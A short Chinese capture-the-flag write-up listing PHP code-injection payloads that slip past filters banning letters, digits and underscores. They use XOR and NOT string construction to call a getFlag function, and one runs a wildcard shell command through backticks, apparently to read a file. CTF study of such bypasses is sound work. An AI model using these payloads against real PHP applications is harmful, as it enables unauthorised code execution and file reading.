两个CTF题的__FILE没写全,逻辑上最后一个highlight完全可以不要。。。

综合师傅们和自己的想法,整理了一份应该是目前最全的Payload,分析过程

第一题要求`$code`长度不大于40且不出现大小写字母和数字,Payload:

0. ``$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag``

1. `$_="{{{{{{{"^"%1c%1e%0f%3d%17%1a%1c";$_();`

2. `(~%98%9A%8B%99%93%9E%98)();`(PHP 7)

3. ``$_=`/???/???%20/????`;?><?=$_?>``(特定环境)

第二题要求`$code`长度不大于50且不出现大小写字母、数字和下划线:

0. ``${"!"^"~"}="]%];,<<"^":@)}@][";${"!"^"~"}();``

1. ``${"`{{{"^"?<>/"}['@']();&@=getFlag``

2. `%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag`

3. `$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();`

4. `$哼="{{{{{{{"^"%1c%1e%0f%3d%17%1a%1c";$哼();`

5. ``$呵="`{{{"^"?<>/";${$呵}[呵](${$呵}[呵]);&呵=getFlag``

6. `(~%98%9A%8B%99%93%9E%98)();`(PHP 7)

7. ``$_=`/???/???%20/????`;?><?=$_?>``(特定环境)

再推荐一下p神更加极限的利用方式